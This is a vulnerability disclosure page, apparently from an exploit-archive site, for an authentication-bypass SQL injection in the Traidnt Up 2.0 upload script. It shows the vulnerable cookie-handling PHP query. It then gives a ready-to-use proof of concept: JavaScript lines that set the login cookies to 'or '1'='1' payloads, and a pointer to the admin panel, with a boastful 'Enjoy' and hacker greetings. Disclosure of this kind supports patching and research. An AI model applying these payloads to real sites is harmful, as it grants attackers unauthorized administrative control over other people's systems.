Traidnt Up 2.0 (Auth Bypass / Cookie) SQL Injection Vulnerability

2009.07.28
Credit: Qabandi
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

|| || | || o_,_7 _|| . _o_7 _|| q_|_|| o_w_, ( : / (_) / ( . =By: Qabandi =Email: iqa[a]hotmail.fr From Kuwait PEACE =Vuln: Traidnt Up version 2.0 (Auth Bypass / Cookie) SQL Injection Vulnerability =INFO: http://traidnt.net/vb/showthread.php?t=943260 =BUY: ---- =DORK: ---- @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@-SQL-@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ -----------------Vulnerable-code:--adminquery.php------------------ if(isset($_COOKIE[trupuser])){ $adminuser = strip_tags($_COOKIE[trupuser]);<---not filtered properly $adminpassword = strip_tags($_COOKIE[truppassword]); $getadmin = $db->query("SELECT * FROM `admin` WHERE `admin`.`admin_user` = '$adminuser' AND `admin`.`admin_password` = '$adminpassword' LIMIT 0 , 1 "); $issetadmin = $db->resultcount($getadmin); if($issetadmin == 1){ <---- Checks if SQL statement is true then give the OK. ------------------------------------------------------------------- =-=--=-==-=-=-=-=-=-=PoC=-=-=-=----=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-== Condition!: Magic_quotes_gpc == OFF! APPLY THESE COOKIES: Javascript:document.cookie = "trupuser=admin' or '1'='1;" Javascript:document.cookie = "truppassword=Qabandi' or '1'='1;" Go To: ./uploadcp/index.php Enjoy Q_Q @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-==-=-=-==-COOOOKIEEEE!!!<3<3<3<3<3=---=-=-=-=-=--=-=-=-=-=- -=-=-=-=-=-=-=Qabandi=-=-=Was-=-=-=--=-===-=HERE-=-=-=-=--=-=-=-== =-=-=-=-==-=-=-=-=-=-No----More---Private=-=-=-=-=-=-=-=-=-=-=-=-= -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Salamz: Killer Hack, Mr.Mn7os, All muslim hackers.

References:

http://xforce.iss.net/xforce/xfdb/50866
http://www.milw0rm.com/exploits/8831
http://secunia.com/advisories/35273
http://osvdb.org/54809


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top